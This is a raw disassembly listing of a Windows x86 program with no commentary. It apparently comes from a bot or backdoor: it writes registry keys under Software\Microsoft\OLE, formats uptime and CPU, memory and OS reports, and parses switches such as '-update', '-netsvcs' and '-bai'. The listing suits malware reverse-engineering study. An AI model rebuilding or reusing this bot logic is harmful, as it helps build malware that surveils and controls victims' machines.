		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
		mov	edi, offset aN	; "N"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+178h+var_8C]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+178h+var_168], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+178h+var_8C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, dword_511764
		mov	edi, ecx
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	20019h
		push	eax
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	80000002h
		call	esi
		push	0
		push	27h
		push	29h
		push	1Dh
		push	1Eh
		push	5
		push	0Ch
		push	2
		push	1
		push	0Eh
		lea	edx, [esp+1B4h+var_178]
		push	1Fh
		push	edx
		call	sub_4019C4
		add	esp, 30h
		lea	ecx, [esp+18Ch+var_A0]
		push	edi
		push	ecx
		push	1
		push	0
		mov	ecx, eax
		mov	[esp+19Ch+var_18], 1Fh
		call	sub_4017EE
		mov	edx, [esp+19Ch+var_17C]
		push	eax
		push	edx
		nop
		call	near ptr 2940000h
		lea	ecx, [esp+1A4h+var_190]
		mov	[esp+1A4h+var_30], 1Dh
		call	sub_401226
		mov	eax, [esp+1A4h+var_194]
		mov	edi, dword_511740
		push	eax
		call	edi
		lea	ecx, [esp+1A8h+var_198]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+1B4h+var_130]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	edx, [esp+1E0h+var_1A8]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1BCh+var_48], 20h
		call	sub_4017EE
		mov	ebp, dword_51176C
		push	eax
		mov	eax, [esp+1C0h+var_1AC]
		push	eax
		call	ebp
		lea	ecx, [esp+1C4h+var_1B0]
		mov	[esp+1C4h+var_50], 1Dh
		call	sub_401226
		mov	ecx, [esp+1C4h+var_1B4]
		push	ecx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	edx, [esp+1ECh+var_1B4]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1C8h+var_54], 21h
		call	sub_4017EE
		push	eax
		call	sub_401604
sub_404CC0	endp

; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 84C61424h, 17424h, 0BFE81D00h, 8DFFFFB6h
		dd 0E844244Ch, 0FFFFB8BEh, 46822B3h, 68000001h,	104h, 4C244C8Dh
		dd 7C249C88h, 0E8000001h, 0FFFFC0E5h, 0A46EE850h, 6A90023Eh
		dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h
		dd 50096A38h, 0FFBE13E8h, 2CC483FFh, 84C6C88Bh,	17424h
		dd 2BE82300h, 50FFFFBCh, 48244C8Dh, 0FFBC21E8h,	4C8D50FFh
		dd 84684C24h, 51004446h, 0FFB450E8h, 10C483FFh,	14244C8Dh
		dd 74249C88h, 0E8000001h, 0FFFFB636h, 44244C8Dh, 0FFBA92E8h
		dd 0E89050FFh, 23DB056h, 1024548Dh, 78244C8Dh, 3F6852h
		dd 6A000Fh, 0FFBBD9E8h,	26850FFh, 0FF800000h, 6A006AD6h
		dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h
		dd 0FFBD8BE8h, 28C483FFh, 84C6C88Bh, 17424h, 0A3E82400h
		dd 8BFFFFBBh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch
		dd 0C3E80000h, 8BFFFFB5h, 52102454h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah
		dd 96A4424h, 0BD36E850h, 0C483FFFFh, 0C6C88B38h, 1742484h
		dd 0E8250000h, 0FFFFBB4Eh, 0B95EE850h, 0C483FFFFh, 244C8D04h
		dd 249C8814h, 174h, 0FFB56DE8h,	10468FFh, 4680000h, 8D000001h
		dd 0E84C244Ch, 0FFFFBFA5h, 0A32EE850h, 6A90023Eh, 6A056A00h
		dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h
		dd 6A44244Ch, 0CDE85109h, 83FFFFBCh, 0C88B38C4h, 742484C6h
		dd 26000001h, 0FFBAE5E8h, 4C8D50FFh, 0DBE84824h, 50FFFFBAh
		dd 4C24548Dh, 44468468h, 0AE85200h, 83FFFFB3h, 4C8D10C4h
		dd 9C881424h, 17424h, 0B4F0E800h, 4C8DFFFFh, 4CE84424h
		dd 50FFFFB9h, 0AF10E890h, 448D023Dh, 4C8D1024h,	68507824h
		dd 0F003Fh, 93E8006Ah, 50FFFFBAh, 268h,	6AD6FF80h, 6A056A00h
		dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h
		dd 0FFBC43E8h, 2CC483FFh, 84C6C88Bh, 17424h, 5BE82700h
		dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch
		dd 7BE80000h, 8BFFFFB4h, 50102444h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h
		dd 0BBF2E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h
		dd 0FFFFBA0Ah, 0B81AE850h, 0C483FFFFh, 244C8D04h, 249C8814h
		dd 174h, 0FFB429E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch
		dd 0FFFFBE61h, 0A1EAE850h, 6A90023Eh, 6A056A00h, 6A056A18h
		dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 8DE85217h
		dd 83FFFFBBh, 0C88B30C4h, 742484C6h, 29000001h,	0FFB9A5E8h
		dd 4C8D50FFh, 9BE84824h, 50FFFFB9h, 4C24448Dh, 44468468h
		dd 0CAE85000h, 83FFFFB1h, 4C8D10C4h, 9C881424h,	17424h
		dd 0B3B0E800h, 4C8DFFFFh, 0CE84424h, 50FFFFB8h,	0ADD0E890h
		dd 4C8D023Dh, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B950E800h
		dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah
		dd 146A056Ah, 46A016Ah,	156A106Ah, 476A046Ah, 4824548Dh
		dd 0E852046Ah, 0FFFFBAF8h, 8B3CC483h, 2484C6C8h, 174h
		dd 0B910E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh,	9C881424h
		dd 17424h, 0B330E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h
		dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h
		dd 6A402454h, 0A5E85202h, 83FFFFBAh, 0C88B34C4h, 742484C6h
		dd 2B000001h, 0FFB8BDE8h, 0CDE850FFh, 83FFFFB6h, 4C8D04C4h
		dd 9C881424h, 17424h, 0B2DCE800h, 468FFFFh, 68000001h
		dd 104h, 4C244C8Dh, 0FFBD14E8h,	9DE850FFh, 90023EA0h, 56A006Ah
		dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h
		dd 0BA3EE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h
		dd 0FFFFB856h, 244C8D50h, 0B84CE848h, 8D50FFFFh, 684C244Ch
		dd 444684h, 0B07BE851h,	0C483FFFFh, 244C8D10h, 249C8814h
		dd 174h, 0FFB261E8h, 244C8DFFh,	0B6BDE844h, 9050FFFFh
		dd 3DAC81E8h, 24548D02h, 244C8D10h, 3F685278h, 6A000F00h
		dd 0B804E800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah
		dd 0B6A276Ah, 16A136Ah,	3024448Dh, 0E8502E6Ah, 0FFFFB9B8h
		dd 8B24C483h, 2484C6C8h, 174h, 0B7D0E82Dh, 4C8BFFFFh, 51501024h
		dd 4C8DD5FFh, 9C881424h, 17424h, 0B1F0E800h, 548BFFFFh
		dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h,	6A0F6A0Eh
		dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 65E85014h, 83FFFFB9h
		dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB77DE8h, 8DE850FFh
		dd 83FFFFB5h, 4C8D04C4h, 9C881424h, 17424h, 0B19CE800h
		dd 468FFFFh, 68000001h,	104h, 4C244C8Dh, 0FFBBD4E8h, 0E89050FFh
		dd 23E9F5Ch, 56A006Ah, 56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah
		dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B8FEE851h,	0C483FFFFh
		dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB716h, 244C8D50h
		dd 0B70CE848h, 6850FFFFh, 444684h, 5024548Dh, 0AF3BE852h
		dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB121E8h
		dd 244C8DFFh, 0B57DE844h, 0E850FFFFh, 23DAB42h,	24448D90h
		dd 244C8D10h, 3F685078h, 6A000F00h, 0B6C4E800h,	6850FFFFh
		dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah
		dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB873E8h, 28C483FFh
		dd 84C6C88Bh, 17424h, 8BE83000h, 8BFFFFB6h, 50102454h
		dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B0A8E800h, 448BFFFFh
		dd 0FF501024h, 10358BD7h, 6800511Bh, 444668h, 4C68D6FFh
		dd 0FF004446h, 462C68D6h, 0D6FF0044h, 44460868h, 83D6FF00h
		dd 4C8D10C4h, 84C64424h, 17424h, 6BE81D00h, 8DFFFFB0h
		dd 0C778244Ch, 1742484h, 0FFFF0000h, 57E8FFFFh,	0B0FFFFB0h
		dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_406730	proc near		; CODE XREF: sub_40195Bj

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_406730
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_28], ebx
		call	sub_40142E
		mov	esi, [esp+38h+arg_4]
		mov	ebp, 1
		cmp	esi, ebx
		mov	[esp+38h+var_4], ebp
		jnz	short loc_406781
		mov	esi, [esp+38h+arg_0]
		push	ebx
		mov	ecx, esi
		call	sub_402112
		mov	[esp+38h+var_28], ebp
		jmp	loc_406827
; ---------------------------------------------------------------------------


loc_406781:				; CODE XREF: sub_406730+3Aj
		nop
		call	near ptr 27E0C04h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		add	edx, ecx
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	edi, edx
		cmp	edi, esi
		jl	short loc_406813
		mov	eax, ecx
		mov	ecx, 15180h
		cdq
		idiv	ecx
		mov	esi, 0E10h
		mov	ecx, edx
		mov	eax, ecx
		cdq
		idiv	esi
		mov	eax, 88888889h
		mov	esi, edx
		imul	esi
		add	edx, esi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		push	edx
		push	edi
		lea	edx, [esp+44h+var_24]
		push	offset aUpDdDhDm ; "up:	%dd %dh	%dm"
		push	edx
		call	sub_40102D
		mov	esi, [esp+4Ch+arg_0]
		add	esp, 14h
		lea	eax, [esp+38h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_4014D3
		jmp	short loc_406823
; ---------------------------------------------------------------------------


loc_406813:				; CODE XREF: sub_406730+7Cj
		mov	esi, [esp+38h+arg_0]
		push	offset byte_448F40
		mov	ecx, esi
		call	sub_401870


loc_406823:				; CODE XREF: sub_406730+E1j
		mov	[esp+38h+var_28], ebp


loc_406827:				; CODE XREF: sub_406730+4Cj
		lea	ecx, [esp+38h+var_24]
		mov	byte ptr [esp+38h+var_4], bl
		call	sub_401226
		mov	ecx, [esp+38h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn	8
sub_406730	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4068A0:				; CODE XREF: ___:00401672j
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	offset byte_448F40
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_401870
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4068E0	proc near		; CODE XREF: sub_401F5Aj

var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_14C		= byte ptr -14Ch
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4068E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18Ch
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+1A4h+var_18C]
		mov	[esp+1A4h+var_198], 0
		call	sub_40142E
		mov	[esp+1A4h+var_4], 1
		call	near ptr 27E0C04h
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	esi, edx
		lea	edx, [esp+1A4h+var_14C]
		push	edx
		mov	[esp+1A8h+var_190], 10h
		shr	esi, 6
		mov	[esp+1A8h+var_194], 15h
		nop
		call	near ptr 2820000h
		lea	eax, [esp+1A4h+var_12C]
		mov	[esp+1A4h+var_12C], 94h
		push	eax
		call	near ptr 2810000h
		nop
		mov	eax, [esp+1A4h+var_128]
		cmp	eax, 4
		jnz	short loc_4069AE
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406996
		mov	eax, [esp+1A4h+var_11C]
		cmp	eax, 1
		jnz	short loc_406986
		mov	ebp, offset a95	; "95"
		jmp	loc_406A21
; ---------------------------------------------------------------------------


loc_406986:				; CODE XREF: sub_4068E0+9Aj
		cmp	eax, 2
		jnz	loc_406A1D
		mov	ebp, offset aNt	; "NT"
		jmp	short loc_4069EA
; ---------------------------------------------------------------------------


loc_406996:				; CODE XREF: sub_4068E0+8Ej
		cmp	eax, 0Ah
		jnz	short loc_4069A2
		mov	ebp, offset a98	; "98"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069A2:				; CODE XREF: sub_4068E0+B9j
		cmp	eax, 5Ah
		jnz	short loc_4069DB
		mov	ebp, offset aMe	; "ME"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069AE:				; CODE XREF: sub_4068E0+83j
		cmp	eax, 5
		jnz	short loc_4069DB
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_4069C5
		mov	ebp, offset a2000 ; "2000"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069C5:				; CODE XREF: sub_4068E0+DCj
		cmp	eax, 1
		jnz	short loc_4069D1
		mov	ebp, offset aXp	; "XP"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069D1:				; CODE XREF: sub_4068E0+E8j
		cmp	eax, 2
		mov	ebp, offset a2003 ; "2003"
		jz	short loc_4069E0


loc_4069DB:				; CODE XREF: sub_4068E0+C5j
					; sub_4068E0+D1j
		mov	ebp, offset a??? ; "???"


loc_4069E0:				; CODE XREF: sub_4068E0+C0j
					; sub_4068E0+CCj ...
		cmp	[esp+1A4h+var_11C], 2
		jnz	short loc_406A21


loc_4069EA:				; CODE XREF: sub_4068E0+B4j
		mov	al, [esp+1A4h+var_118]
		test	al, al
		jz	short loc_406A21
		lea	ecx, [esp+1A4h+var_118]
		lea	edx, [esp+1A4h+var_98]
		push	ecx
		push	ebp
		push	offset aSS_2	; "%s [%s]"
		push	edx
		call	sub_5F74D1
		nop
		add	esp, 10h
		lea	ebp, [esp+1A4h+var_98]
		jmp	short loc_406A21
; ---------------------------------------------------------------------------


loc_406A1D:				; CODE XREF: sub_4068E0+A9j
		mov	ebp, [esp+1A4h+var_198]


loc_406A21:				; CODE XREF: sub_4068E0+A1j
					; sub_4068E0+108j ...
		lea	eax, [esp+1A4h+var_190]
		lea	ecx, [esp+1A4h+var_174]
		push	eax
		push	ecx
		call	near ptr 2801021h
		nop
		lea	edx, [esp+1A4h+var_194]
		lea	eax, [esp+1A4h+var_164]
		push	edx
		push	eax
		call	near ptr 2920C2Ch
		nop
		mov	eax, esi
		mov	ecx, 15180h
		cdq
		idiv	ecx
		lea	eax, [esp+1A4h+var_174]
		mov	edi, 0E10h
		mov	ecx, edx
		lea	edx, [esp+1A4h+var_164]
		push	edx
		push	eax
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, 88888889h
		mov	edi, edx
		imul	edi
		add	edx, edi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		mov	eax, 0C22E4507h
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		mov	ecx, [esp+1B0h+var_120]
		push	edx
		imul	esi
		add	edx, esi
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, [esp+1B4h+var_128]
		push	edx
		mov	edx, [esp+1B8h+var_124]
		push	ecx
		mov	ecx, [esp+1BCh+var_144]
		push	edx
		push	eax
		mov	eax, 804021h
		push	ebp
		mul	ecx
		sub	ecx, edx
		mov	eax, 804021h
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		mov	ecx, [esp+1CCh+var_140]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		call	sub_4017FD
		push	eax
		lea	ecx, [esp+1D4h+var_18C]
		push	offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
		push	ecx
		call	sub_40102D
		mov	esi, [esp+1DCh+arg_0]
		add	esp, 38h
		lea	edx, [esp+1A4h+var_18C]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+1A4h+var_198], 1
		lea	ecx, [esp+1A4h+var_18C]
		mov	byte ptr [esp+1A4h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+1A4h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 198h
		retn	4
sub_4068E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406BF0	proc near		; CODE XREF: sub_4015E6j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F008
		mov	dword ptr [eax+110h], 0
		retn
sub_406BF0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406C20:				; CODE XREF: ___:00401FAAj
		push	esi
		mov	esi, ecx
		call	sub_401447
		test	byte ptr [esp+8], 1
		jz	short loc_406C38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406C38:				; CODE XREF: ___:00406C2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406C50	proc near		; CODE XREF: sub_401447j
		mov	dword ptr [ecx], offset	off_43F008
		mov	ecx, [ecx+110h]
		test	ecx, ecx
		jz	short locret_406C67
		push	ecx
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx

locret_406C67:				; CODE XREF: sub_406C50+Ej
		retn
sub_406C50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_406C80	proc near		; CODE XREF: sub_401384j

arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_406C80
		push	eax
		mov	large fs:0, esp
		sub	esp, 448h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+110h]
		test	eax, eax
		jz	short loc_406CB1
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406CB1:				; CODE XREF: sub_406C80+26j
		push	ebp
		push	esi
		mov	esi, [esp+460h+arg_0]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	sub_437AEA
sub_406C80	endp

; ---------------------------------------------------------------------------
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+110h], edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebx+110h]
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx+5], 0
		mov	byte ptr [ebx+9], 0
		mov	byte ptr [ebx+0Ah], 0
		mov	byte ptr [ebx+0Bh], 0
		repne scasb
		not	ecx
		push	ecx
		call	sub_437AEA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+110h]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	ebp, dword_511B00
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	offset asc_444600 ; " "
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	edx
		and	ecx, 3
		rep movsb
		call	ebp	; strtok
		add	esp, 10h
		mov	[esp+58h], eax
		lea	esi, [esp+5Ch]
		mov	edi, 0FFh


loc_406D62:				; CODE XREF: ___:00406D74j
		push	offset asc_444600 ; " "
		push	0
		call	ebp	; strtok
		mov	[esi], eax
		add	esp, 8
		add	esi, 4
		dec	edi
		jnz	short loc_406D62
		mov	eax, [esp+58h]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_406F68
		lea	ebp, [esp+58h]


loc_406D88:				; CODE XREF: ___:00406F60j
		mov	edi, [ebp+0]
		mov	esi, offset dword_4447EC
		mov	eax, edi


loc_406D92:				; CODE XREF: ___:00406DB0j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DB6
		test	cl, cl
		jz	short loc_406DB2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DB6
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D92


loc_406DB2:				; CODE XREF: ___:00406D9Cj
		xor	eax, eax
		jmp	short loc_406DBB
; ---------------------------------------------------------------------------


loc_406DB6:				; CODE XREF: ___:00406D98j
					; ___:00406DA6j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DBB:				; CODE XREF: ___:00406DB4j
		test	eax, eax
		jz	loc_406F58
		mov	esi, offset aUpdate ; "-update"
		mov	eax, edi


loc_406DCA:				; CODE XREF: ___:00406DE8j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DEE
		test	cl, cl
		jz	short loc_406DEA
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DEE
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DCA


loc_406DEA:				; CODE XREF: ___:00406DD4j
		xor	eax, eax
		jmp	short loc_406DF3
; ---------------------------------------------------------------------------


loc_406DEE:				; CODE XREF: ___:00406DD0j
					; ___:00406DDEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DF3:				; CODE XREF: ___:00406DECj
		test	eax, eax
		jnz	short loc_406E00
		mov	byte ptr [ebx+9], 1
		jmp	loc_406F58
; ---------------------------------------------------------------------------


loc_406E00:				; CODE XREF: ___:00406DF5j
		mov	esi, offset aNetsvcs ; "-netsvcs"
		mov	eax, edi


loc_406E07:				; CODE XREF: ___:00406E25j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E2B
		test	cl, cl
		jz	short loc_406E27
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E2B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406E07


loc_406E27:				; CODE XREF: ___:00406E11j
		xor	eax, eax
		jmp	short loc_406E30
; ---------------------------------------------------------------------------


loc_406E2B:				; CODE XREF: ___:00406E0Dj
					; ___:00406E1Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E30:				; CODE XREF: ___:00406E29j
		test	eax, eax
		jnz	short loc_406E3D
		mov	byte ptr [ebx+0Ah], 1
		jmp	loc_406F58
; ---------------------------------------------------------------------------


loc_406E3D:				; CODE XREF: ___:00406E32j
		mov	esi, offset aBai ; "-bai"
		mov	eax, edi


loc_406E44:				; CODE XREF: ___:00406E62j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E68
		test	cl, cl
		jz	short loc_406E64
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E68
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406E44


loc_406E64:				; CODE XREF: ___:00406E4Ej
		xor	eax, eax
		jmp	short loc_406E6D
; ---------------------------------------------------------------------------


loc_406E68:				; CODE XREF: ___:00406E4Aj
					; ___:00406E58j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E6D:				; CODE XREF: ___:00406E66j
		test	eax, eax
		jnz	loc_406F58
		lea	ecx, [esp+10h]
		call	sub_40142E
		mov	eax, [esp+468h]
		push	offset aBai	; "-bai"
		push	eax
		mov	dword ptr [esp+468h], 0
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		test	eax, eax
		jz	loc_406F44
		push	eax
		lea	ecx, [esp+14h]
		call	sub_4015E1
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+30h]
		push	1
		push	ecx
		lea	ecx, [esp+20h]
		call	sub_4011EA
		push	offset byte_448F40
		mov	ecx, eax
		mov	byte ptr [esp+464h], 1
		call	sub_4012EE
		lea	ecx, [esp+28h]
		mov	esi, eax
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		test	esi, esi
		jz	short loc_406F44
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+48h]
		push	1
		push	edx
		lea	ecx, [esp+20h]
		mov	byte ptr [ebx+0Bh], 1
		call	sub_4011EA
		push	104h
		mov	ecx, eax
		mov	byte ptr [esp+464h], 2
		call	sub_40168B
		push	eax
		lea	eax, [ebx+0Ch]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		add	ebp, 4


loc_406F44:				; CODE XREF: ___:00406EA1j
					; ___:00406EF1j
		lea	ecx, [esp+10h]
		mov	dword ptr [esp+460h], 0FFFFFFFFh
		call	sub_401226


loc_406F58:				; CODE XREF: ___:00406DBDj
					; ___:00406DFBj ...
		mov	eax, [ebp+4]
		add	ebp, 4
		test	eax, eax
		jnz	loc_406D88
		xor	ecx, ecx


loc_406F68:				; CODE XREF: ___:00406D7Ej
		mov	al, [ebx+4]
		pop	edi
		pop	esi
		pop	ebp
		test	al, al
		jnz	short loc_406F75
		mov	[ebx+5], ecx


loc_406F75:				; CODE XREF: ___:00406F70j
		cmp	[ebx+5], ecx
		jnz	short loc_406F85
		test	al, al
		jz	short loc_406F85
		mov	dword ptr [ebx+5], 0Ah


loc_406F85:				; CODE XREF: ___:00406F78j
					; ___:00406F7Cj
		mov	[ebx+5], ecx
		mov	ecx, [esp+44Ch]
		mov	byte ptr [ebx+4], 0
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 454h
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
byte_406FB0	db 0D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


